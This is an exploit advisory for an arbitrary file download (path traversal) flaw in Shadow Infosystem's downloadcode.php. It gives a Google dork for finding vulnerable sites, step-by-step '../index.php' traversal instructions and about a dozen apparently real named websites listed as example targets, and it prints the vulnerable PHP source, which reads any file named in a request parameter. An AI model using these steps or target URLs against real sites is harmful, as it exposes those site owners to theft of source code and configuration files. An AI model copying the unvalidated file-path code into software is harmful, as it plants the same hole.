Shadow Infosystem Arbitrary File Download

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|--------------------------------------------------------------|  
|[+] Exploit Title: Shadow Infosystem Arbitrary File Download  
|[+]  
|[+] Exploit Author: Ashiyane Digital Security Team  
|[+]  
|[+] Vendor Homepage: http://shadowinfosystem.com  
|[+]  
|[+] Google Dork: inurl:/downloadcode.php  
|[+]  
|[+] Tested on: Windows, Linux  
|[+]  
|[+] Date: 2015.09.21  
|[+]  
|--------------------------------------------------------------|  
|[+] Describe :  
|[+]  
|[+] At the first search dork and choose a target  
|[+]  
|[+] Like this : http://www.spacetechgroup.in  
|[+]  
|[+] Add this to the end of target URL: downloadcode.php?d=  
|[+]  
|[+] After [?d=] you should enter your file name that you want to download!  
|[+]  
|[+] Fore example download in that target index.php:  
|[+]  
|[+] http://www.spacetechgroup.in/downloadcode.php?d=../index.php  
|[+]  
|[+] In some targets you can only download files that they're in   
[Current] directory!  
|[+]  
|[+] But I don't want to download from [file] directory!  
|[+]  
|[+] Then I put [../] after file name to upload from root directory!  
|--------------------------------------------------------------|  
|[+] Examples :  
|[+]  
|[+] http://stteresaschool.in/downloadcode.php?d=../index.php  
|[+]  
|[+] http://hotelsroyalpark.coM/downloadcode.php?d=../index.php  
|[+]  
|[+] http://jkgttAcademy.com/downloadcode.php?d=index.php  
|[+]  
|[+] http://raksHatowersgurgaon.com/downloadcode.php?d=../index.php  
|[+]  
|[+] http://shaDowInfosystem.com/downloadcode.php?d=../index.php  
|[+]  
|[+] http://keltecHgroup.com/downloadcode.php?download_file=index.php  
|[+]  
|[+] http://fnfhomez.com/downloadcode.php?df=../index.php  
|[+]  
|[+] http://renownedInfra.com/downloadcode.php?download_file=../index.php  
|[+]  
|[+] http://mmgroupinDia.com/downloadcode.php?df=../index.php  
|[+]  
|[+] http://sunflowerpublicschool.com/downloadcode.php?file=../index.php  
|[+]  
|[+] http://hitchintak.in/downloadcode.php?d=../index.php  
|[+]  
|[+] http://ballyhai.net/downloadcode.php?file=../index.php  
|[+]  
|[+] http://spacetechgroup.in/downloadcode.php?d=../index.php  
|--------------------------------------------------------------|  
|[+] Vulnerable Code:  
|[+] File: downloadcode.php:  
<?php  
if(isset($_GET['d'])){  
$path = "admin/"; // change the path to fit your websites document structure  
$fullPath = $path.$_GET['d'];  
}else if(isset($_REQUEST['pf'])){  
$fullPath = "payment_pdf/".$_REQUEST['pf'];  
}  
  
if ($fd = fopen ($fullPath, "r")) {  
$fsize = filesize($fullPath);  
$path_parts = pathinfo($fullPath);  
$ext = strtolower($path_parts["extension"]);  
switch ($ext) {  
case "jpg":  
header("Content-type: application/jpg"); // add here more   
headers for diff. extensions  
header("Content-Disposition: attachment;   
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to   
force a download  
break;  
default;  
header("Content-type: application/octet-stream");  
header("Content-Disposition:   
filename=\"".$path_parts["basename"]."\"");  
  
case "pdf":  
header("Content-type: application/pdf"); // add here more   
headers for diff. extensions  
header("Content-Disposition: attachment;   
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to   
force a download  
break;  
default;  
header("Content-type: application/octet-stream");  
header("Content-Disposition:   
filename=\"".$path_parts["basename"]."\"");  
  
  
case "swf":  
header("Content-type: application/swf"); // add here more   
headers for diff. extensions  
header("Content-Disposition: attachment;   
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to   
force a download  
break;  
default;  
header("Content-type: application/octet-stream");  
header("Content-Disposition:   
filename=\"".$path_parts["basename"]."\"");  
  
case "doc":  
header("Content-type: application/doc"); // add here more   
headers for diff. extensions  
header("Content-Disposition: attachment;   
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to   
force a download  
break;  
default;  
header("Content-type: application/octet-stream");  
header("Content-Disposition:   
filename=\"".$path_parts["basename"]."\"");  
  
case "xls":  
header("Content-type: application/xls"); // add here more   
headers for diff. extensions  
header("Content-Disposition: attachment;   
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to   
force a download  
break;  
default;  
header("Content-type: application/octet-stream");  
header("Content-Disposition:   
filename=\"".$path_parts["basename"]."\"");  
  
case "docx":  
header("Content-type: application/docx"); // add here more   
headers for diff. extensions  
header("Content-Disposition: attachment;   
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to   
force a download  
break;  
default;  
header("Content-type: application/octet-stream");  
header("Content-Disposition:   
filename=\"".$path_parts["basename"]."\"");  
  
case "txt":  
header("Content-type: application/txt"); // add here more   
headers for diff. extensions  
header("Content-Disposition: attachment;   
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to   
force a download  
break;  
default;  
header("Content-type: application/octet-stream");  
header("Content-Disposition:   
filename=\"".$path_parts["basename"]."\"");  
  
  
}  
header("Content-length: $fsize");  
header("Cache-control: private"); //use this to open files directly  
while(!feof($fd)) {  
$buffer = fread($fd, 22048);  
echo $buffer;  
}  
}  
fclose ($fd);  
exit;  
?>  
  
|--------------------------------------------------------------|  
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|  
|[+] Discovered By : Cloner-47  
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|  
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